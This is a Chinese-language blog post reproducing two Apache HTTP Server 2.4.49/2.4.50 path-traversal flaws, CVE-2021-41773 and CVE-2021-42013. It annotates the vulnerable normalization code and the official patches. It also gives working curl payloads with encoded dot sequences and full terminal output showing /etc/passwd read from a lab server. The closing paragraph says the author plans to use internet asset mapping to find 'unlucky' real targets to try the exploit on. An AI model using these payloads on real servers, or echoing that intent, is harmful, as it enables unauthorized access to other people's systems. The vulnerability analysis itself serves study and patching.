1. 程式人生 > 其它 >CVE-2021-41773 && CVE-2021-42013拆解復現

CVE-2021-41773 && CVE-2021-42013拆解復現

CVE-2021-41773 && CVE-2021-42013

參考了這個師傅的WP https://www.jianshu.com/p/3076d9ec68cf

CVE-2021-41773

漏洞成因

Apache HTTP Server 2.4.49版本使用的ap_normalize_path函式在對路徑做過濾的時候沒有過濾乾淨。

ap_normalize_path函式如下

/*
 * Inspired by mod_jk's jk_servlet_normalize().
 */
AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)
{
    int ret = 1;
    apr_size_t l = 1, w = 1;

    if (!IS_SLASH(path[0])) {
        /* Besides "OPTIONS *", a request-target should start with '/'
         * per RFC 7230 section 5.3, so anything else is invalid.
         */
        if (path[0] == '*' && path[1] == '\0') {
            return 1;
        }
        /* However, AP_NORMALIZE_ALLOW_RELATIVE can be used to bypass
         * this restriction (e.g. for subrequest file lookups).
         */
        if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') {
            return 0;
        }

        l = w = 0;
    }

    // 遍歷路徑字串,一邊做url解碼一邊檢測 '..',出現漏洞。
    while (path[l] != '\0') {
        /* RFC-3986 section 2.3:
         *  For consistency, percent-encoded octets in the ranges of
         *  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
         *  period (%2E), underscore (%5F), or tilde (%7E) should [...]
         *  be decoded to their corresponding unreserved characters by
         *  URI normalizers.
         */
        // 這一段是在做URL解碼
        // 檢測到當前位為‘%’,接下來兩位為十六進位制數字就進入if
        if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
                && path[l] == '%' && apr_isxdigit(path[l + 1])
                                  && apr_isxdigit(path[l + 2])) {
            const char c = x2c(&path[l + 1]); // 將url編碼轉換為字元(16進位制轉char)
            if (apr_isalnum(c) || (c && strchr("-._~", c))) {
                /* Replace last char and fall through as the current
                 * read position */
                l += 2;
                path[l] = c;
            }
        }

        if ((flags & AP_NORMALIZE_DROP_PARAMETERS) && path[l] == ';') {
            do {
                l++;
            } while (!IS_SLASH_OR_NUL(path[l]));
            continue;
        }

        // 如果path[0]不是斜槓,且不是* 或者空串,w就會置為0。
        // 如果w = 0 或者 paht[0]是斜槓,就進入迴圈。
        if (w == 0 || IS_SLASH(path[w - 1])) {
            /* Collapse ///// sequences to / */
            //跳過連續的斜槓
            if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
                do {
                    l++;
                } while (IS_SLASH(path[l]));
                continue;
            }
            //如果檢測到點號
            if (path[l] == '.') {
                /* Remove /./ segments */
                if (IS_SLASH_OR_NUL(path[l + 1])) {
                    l++;
                    if (path[l]) {
                        l++;
                    }
                    continue;
                }

                /* Remove /xx/../ segments */
                // 如果點號的下一個還是點號,就要刪一點了
                if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
                    /* Wind w back to remove the previous segment */
                    if (w > 1) {
                        do {
                            w--;
                        } while (w && !IS_SLASH(path[w - 1]));
                    }
                    else {
                        /* Already at root, ignore and return a failure
                         * if asked to.
                         */
                        if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                            ret = 0;
                        }
                    }

                    /* Move l forward to the next segment */
                    l += 2;
                    if (path[l]) {
                        l++;
                    }
                    continue;
                }
            }
        }

        path[w++] = path[l++];
    }
    path[w] = '\0';

    return ret;
}

可以看到,漏洞的產生原因是其遍歷一整個路徑字串,對每一位,先進行url解碼,然後檢測是不是當前位和下一位的組合是不是兩個點..
他能檢測出的情況如下

..
%2e.    // 正在處理第一位,解碼後發現是..組合

然而如果遇到這種情況

.%2e    // 解碼第一位,仍然是.%2e,沒有檢測到..組合
%2e%2e  // 解碼第一位,解成.%2e,仍然無法檢測到..組合

payload

curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
// 這裡可以使用.%2e也可以使用%2e%2e


C:\Users\19300>curl -v --path-as-is http://10.10.10.131:8080/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd        *   Trying 10.10.10.131:8080...                                                                                         * Connected to 10.10.10.131 (10.10.10.131) port 8080 (#0)                                                               > GET /icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1                                                     > Host: 10.10.10.131:8080                                                                                               > User-Agent: curl/7.79.1                                                                                               > Accept: */*                                                                                                           >                                                                                                                       * Mark bundle as not supporting multiuse                                                                                < HTTP/1.1 200 OK                                                                                                       < Date: Thu, 17 Mar 2022 01:56:25 GMT                                                                                   < Server: Apache/2.4.49 (Debian)                                                                                        < Last-Modified: Mon, 28 Feb 2022 00:00:00 GMT                                                                          < ETag: "39a-5d908bac52000"                                                                                             < Accept-Ranges: bytes                                                                                                  < Content-Length: 922                                                                                                   <                                                                                                                       root:x:0:0:root:/root:/bin/bash                                                                                         daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                                                                         bin:x:2:2:bin:/bin:/usr/sbin/nologin                                                                                    sys:x:3:3:sys:/dev:/usr/sbin/nologin                                                                                    sync:x:4:65534:sync:/bin:/bin/sync                                                                                      games:x:5:60:games:/usr/games:/usr/sbin/nologin                                                                         man:x:6:12:man:/var/cache/man:/usr/sbin/nologin                                                                         lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin                                                                            mail:x:8:8:mail:/var/mail:/usr/sbin/nologin                                                                             news:x:9:9:news:/var/spool/news:/usr/sbin/nologin                                                                       uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin                                                                     proxy:x:13:13:proxy:/bin:/usr/sbin/nologin                                                                              www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin                                                                    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin                                                                    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin                                                           irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin                                                                            gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin                                       nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin                                                              _apt:x:100:65534::/nonexistent:/usr/sbin/nologin                                                                        * Connection #0 to host 10.10.10.131 left intact                                                                                                                                                                                                C:\Users\19300>   

修復

這裡如果遍歷兩次字串,先整體url解碼,全部解碼完了再進行敏感字串檢測就可以規避這個漏洞。這裡原函式為了追求效率,在一遍遍歷中對每個字串解碼再檢測,反而出現了漏洞,可謂是得不償失。
官方修復如下,直接是對這個情況做了一個特例處理。。俺沒有開發經驗,不敢亂說。

/* Remove /xx/../ segments (or /xx/.%2e/ when
* AP_NORMALIZE_DECODE_UNRESERVED is set since we
* decoded only the first dot above).
*/
n = l + 1;
if ((path[n] == '.' || (decode_unreserved
                    && path[n] == '%'
                    && path[++n] == '2'
                    && (path[++n] == 'e'
                        || path[n] == 'E')))
    && IS_SLASH_OR_NUL(path[n + 1])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
    do {
        w--;
    } while (w && !IS_SLASH(path[w - 1]));
}
else {
    /* Already at root, ignore and return a failure
        * if asked to.
        */
    if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
        ret = 0;
    }
}

/* Move l forward to the next segment */
l = n + 1;
if (path[l]) {
    l++;
}
continue;
}

CVE-2021-42013

Apache使用函式 ap_process_request_internal來處理外部請求

AP_DECLARE(int) ap_process_request_internal(request_rec *r)
{
    .....

    //呼叫 ap_normalize_path ,先對字串進行解碼。
    if (r->parsed_uri.path) {
        /* Normalize: remove /./ and shrink /../ segments, plus
         * decode unreserved chars (first time only to avoid
         * double decoding after ap_unescape_url() below).
         */
        if (!ap_normalize_path(r->parsed_uri.path,
                               normalize_flags |
                               AP_NORMALIZE_DECODE_UNRESERVED)) {
            ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
                          "invalid URI path (%s)", r->unparsed_uri);
            return HTTP_BAD_REQUEST;
        }
    }

    .....

    // 再呼叫 ap_unescape_url,對字串解碼過濾。
    /* Ignore URL unescaping for translated URIs already */
    if (access_status != DONE && r->parsed_uri.path) {
        core_dir_config *d = ap_get_core_module_config(r->per_dir_config);

        if (d->allow_encoded_slashes) {
            access_status = ap_unescape_url_keep2f(r->parsed_uri.path,
                                                   d->decode_encoded_slashes);
        }
        else {
            access_status = ap_unescape_url(r->parsed_uri.path);
        }
        if (access_status) {
            if (access_status == HTTP_NOT_FOUND) {
                if (! d->allow_encoded_slashes) {
                    ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026)
                                  "found %%2f (encoded '/') in URI path (%s), "
                                  "returning 404", r->unparsed_uri);
                }
            }
            return access_status;
        }

        .....

    }

    .....

開發為了保險起見,反覆解碼過濾,但是這反而弄巧成拙,造成二次編碼注入。

%32e --> %2e --> .

%32 = 2
%2e = .

Payload

curl -v --path-as-is http://your-ip:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd


C:\Users\19300>curl -v --path-as-is http://10.10.10.131:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
*   Trying 10.10.10.131:8080...
* Connected to 10.10.10.131 (10.10.10.131) port 8080 (#0)
> GET /icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd HTTP/1.1
> Host: 10.10.10.131:8080
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 17 Mar 2022 05:09:50 GMT
< Server: Apache/2.4.49 (Debian)
< Last-Modified: Mon, 28 Feb 2022 00:00:00 GMT
< ETag: "39a-5d908bac52000"
< Accept-Ranges: bytes
< Content-Length: 922
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host 10.10.10.131 left intact

修復

2.4.51版本中採用了白名單的機制,在ap_normalize_path中加強了對url編碼的校驗,只允許數字、字母及特定的符號編碼,如果是白名單以外的url編碼,就直接報錯,不繼續搞了

while (path[l] != '\0') {
        /* RFC-3986 section 2.3:
         *  For consistency, percent-encoded octets in the ranges of
         *  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
         *  period (%2E), underscore (%5F), or tilde (%7E) should [...]
         *  be decoded to their corresponding unreserved characters by
         *  URI normalizers.
         */
        //就只允許上面註釋寫到的內容,如果存在這以外的內容,就直接報錯。
        if (decode_unreserved && path[l] == '%') {
            if (apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {
                const char c = x2c(&path[l + 1]);
                if (TEST_CHAR(c, T_URI_UNRESERVED)) {
                    /* Replace last char and fall through as the current
                     * read position */
                    l += 2;
                    path[l] = c;
                }
            }
            else {
                /* Invalid encoding */
                ret = 0;
            }
        }

心得

這是我第一次復現CVE漏洞,對我還是有一些難度的,但後來查了下,發現有別人復現拆解過的文章,學習了他們的文章,我分析起來難度大大減小了,感覺很不錯,很有成就感。(準備網路測繪找幾個倒黴蛋試試 :-)